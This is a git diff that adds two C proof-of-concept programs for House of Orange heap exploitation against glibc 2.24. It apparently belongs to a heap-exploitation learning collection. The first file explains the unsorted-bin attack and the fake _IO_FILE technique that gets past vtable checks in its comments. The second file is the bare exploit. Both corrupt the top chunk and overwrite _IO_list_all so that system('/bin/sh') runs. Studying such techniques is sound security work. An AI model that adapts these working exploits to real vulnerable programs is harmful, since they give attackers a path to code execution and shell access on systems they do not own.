diff --git a/glibc_2.24/houseoforange.c b/glibc_2.24/houseoforange.c new file mode 100644 index 0000000..feebd30 --- /dev/null +++ b/glibc_2.24/houseoforange.c @@ -0,0 +1,188 @@ +#include +#include +#include +int winner ( char *ptr); +int main() +{ + + + /* + The House of Orange starts with the assumption that a buffer overflow exists on the heap + using which the Top (also called the Wilderness) chunk can be corrupted. + + At the beginning of execution, the entire heap is part of the Top chunk. + The first allocations are usually pieces of the Top chunk that are broken off to service the request. + Thus, with every allocation, the Top chunks keeps getting smaller. + And in a situation where the size of the Top chunk is smaller than the requested value, + there are two possibilities: + 1) Extend the Top chunk + 2) Mmap a new page + + If the size requested is smaller than 0x21000, then the former is followed. + */ + char *p1, *p2; + size_t io_list_all, *top; + + fprintf(stderr, "The attack vector of this technique was removed by changing the behavior of malloc_printerr, " + "which is no longer calling _IO_flush_all_lockp, in 91e7cf982d0104f0e71770f5ae8e3faf352dea9f (2.26).\n"); + + fprintf(stderr, "Since glibc 2.24 _IO_FILE vtable are checked against a whitelist breaking this exploit," + "https://sourceware.org/git/?p=glibc.git;a=commit;h=db3476aff19b75c4fdefbe65fcd5f0a90588ba51\n"); + + fprintf(stderr, "This exploit is use _IO_str_finish to bypass glibc 2.24 _IO_FILE vtable checked.\n"); + + /* + Firstly, lets allocate a chunk on the heap. + */ + + p1 = malloc(0x400-16); + + /* + The heap is usually allocated with a top chunk of size 0x21000 + Since we've allocate a chunk of size 0x400 already, + what's left is 0x20c00 with the PREV_INUSE bit set => 0x20c01. + + The heap boundaries are page aligned. Since the Top chunk is the last chunk on the heap, + it must also be page aligned at the end. + + Also, if a chunk that is adjacent to the Top chunk is to be freed, + then it gets merged with the Top chunk. So the PREV_INUSE bit of the Top chunk is always set. + + So that means that there are two conditions that must always be true. + 1) Top chunk + size has to be page aligned + 2) Top chunk's prev_inuse bit has to be set. + + We can satisfy both of these conditions if we set the size of the Top chunk to be 0xc00 | PREV_INUSE. + What's left is 0x20c01 + + Now, let's satisfy the conditions + 1) Top chunk + size has to be page aligned + 2) Top chunk's prev_inuse bit has to be set. +*/ + top = (size_t *) ( (char *) p1 + 0x400 - 16); + top[1] = 0xc01; + /* + Now we request a chunk of size larger than the size of the Top chunk. + Malloc tries to service this request by extending the Top chunk + This forces sysmalloc to be invoked. + + In the usual scenario, the heap looks like the following + |------------|------------|------...----| + | chunk | chunk | Top ... | + |------------|------------|------...----| + heap start heap end + + And the new area that gets allocated is contiguous to the old heap end. + So the new size of the Top chunk is the sum of the old size and the newly allocated size. + + In order to keep track of this change in size, malloc uses a fencepost chunk, + which is basically a temporary chunk. + + After the size of the Top chunk has been updated, this chunk gets freed. + + In our scenario however, the heap looks like + |------------|------------|------..--|--...--|---------| + | chunk | chunk | Top .. | ... | new Top | + |------------|------------|------..--|--...--|---------| + heap start heap end + + In this situation, the new Top will be starting from an address that is adjacent to the heap end. + So the area between the second chunk and the heap end is unused. + And the old Top chunk gets freed. + Since the size of the Top chunk, when it is freed, is larger than the fastbin sizes, + it gets added to list of unsorted bins. + Now we request a chunk of size larger than the size of the top chunk. + This forces sysmalloc to be invoked. + And ultimately invokes _int_free + + Finally the heap looks like this: + |------------|------------|------..--|--...--|---------| + | chunk | chunk | free .. | ... | new Top | + |------------|------------|------..--|--...--|---------| + heap start new heap end + + + + */ + + p2 = malloc(0x1000); + /* + Note that the above chunk will be allocated in a different page + that gets mmapped. It will be placed after the old heap's end + + Now we are left with the old Top chunk that is freed and has been added into the list of unsorted bins + + + Here starts phase two of the attack. We assume that we have an overflow into the old + top chunk so we could overwrite the chunk's size. + For the second phase we utilize this overflow again to overwrite the fd and bk pointer + of this chunk in the unsorted bin list. + There are two common ways to exploit the current state: + - Get an allocation in an *arbitrary* location by setting the pointers accordingly (requires at least two allocations) + - Use the unlinking of the chunk for an *where*-controlled write of the + libc's main_arena unsorted-bin-list. (requires at least one allocation) + + The former attack is pretty straight forward to exploit, so we will only elaborate + on a variant of the latter, developed by Angelboy in the blog post linked above. + + The attack is pretty stunning, as it exploits the abort call itself, which + is triggered when the libc detects any bogus state of the heap. + Whenever abort is triggered, it will flush all the file pointers by calling + _IO_flush_all_lockp. Eventually, walking through the linked list in + _IO_list_all and calling _IO_OVERFLOW on them. + + The idea is to overwrite the _IO_list_all pointer with a fake file pointer, whose + _IO_OVERLOW points to system and whose first 8 bytes are set to '/bin/sh', so + that calling _IO_OVERFLOW(fp, EOF) translates to system('/bin/sh'). + More about file-pointer exploitation can be found here: + https://outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/ + + The address of the _IO_list_all can be calculated from the fd and bk of the free chunk, as they + currently point to the libc's main_arena. + */ + io_list_all = top[2] + 0x9a8; + + /* + We plan to overwrite the fd and bk pointers of the old top, + which has now been added to the unsorted bins. + + When malloc tries to satisfy a request by splitting this free chunk + the value at chunk->bk->fd gets overwritten with the address of the unsorted-bin-list + in libc's main_arena. + + Note that this overwrite occurs before the sanity check and therefore, will occur in any + case. + + Here, we require that chunk->bk->fd to be the value of _IO_list_all. + So, we should set chunk->bk to be _IO_list_all - 16 + */ + + top[3] = io_list_all - 0x10; + + /* + At the end, the system function will be invoked with the pointer to this file pointer. + If we fill the first 8 bytes with /bin/sh, it is equivalent to system(/bin/sh) +*/ + // _IO_str_finish conditions + char binsh_in_libc[] = "/bin/sh\x00"; // we can found "/bin/sh" in libc, here i create it in stack + top[0] = 0; +// top[0] = ((size_t) &binsh_in_libc + 0x10) & ~1; + top[7] = ((size_t)&binsh_in_libc); // buf_base + + // house_of_orange conditions + top[1] = 0x61; + top[5] = 0x1 ; //_IO_write_ptr + + top[21] = 0; // 2 + top[22] = 0; // 3 + top[24] = 0;// -1 + top[27] = (size_t) stdin - 0x33f0 - 0x18; + top[29] = (size_t) &winner; + malloc(10); + return 0; +} +int winner(char *ptr) +{ + system(ptr); + return 0; +} diff --git a/glibc_2.24/houseoforange_str_jumps_overflow.c b/glibc_2.24/houseoforange_str_jumps_overflow.c new file mode 100644 index 0000000..68e23a9 --- /dev/null +++ b/glibc_2.24/houseoforange_str_jumps_overflow.c @@ -0,0 +1,43 @@ +#include +#include +#include +int winner ( char *ptr); +int main() +{ + char *p1, *p2; + size_t io_list_all, *top; + // unsorted bin attack + p1 = malloc(0x400-16); + top = (size_t *) ( (char *) p1 + 0x400 - 16); + top[1] = 0xc01; + p2 = malloc(0x1000); + io_list_all = top[2] + 0x9a8; + top[3] = io_list_all - 0x10; + // _IO_str_overflow conditions + char binsh_in_libc[] = "/bin/sh\x00"; // we can found "/bin/sh" in libc, here i create it in stack + // top[0] = ~1; + // top[0] &= ~8; + top[0] = 0; + top[4] = 0; // write_base + top[5] = ((size_t)&binsh_in_libc-100)/2 + 1; // write_ptr + top[7] = 0; // buf_base + top[8] = top[5] - 1; // buf_end + // house_of_orange conditions + top[1] = 0x61; + + top[20] = (size_t) &top[18]; + top[21] = 2; + top[22] = 3; + top[24] = -1; + top[27] = (size_t)stdin - 0x3868-0x18; // _IO_str_jumps地址 + top[28] = (size_t) &winner; + /* Finally, trigger the whole chain by calling malloc */ + malloc(10); + return 0; +} +int winner(char *ptr) +{ + system(ptr); + return 0; +} +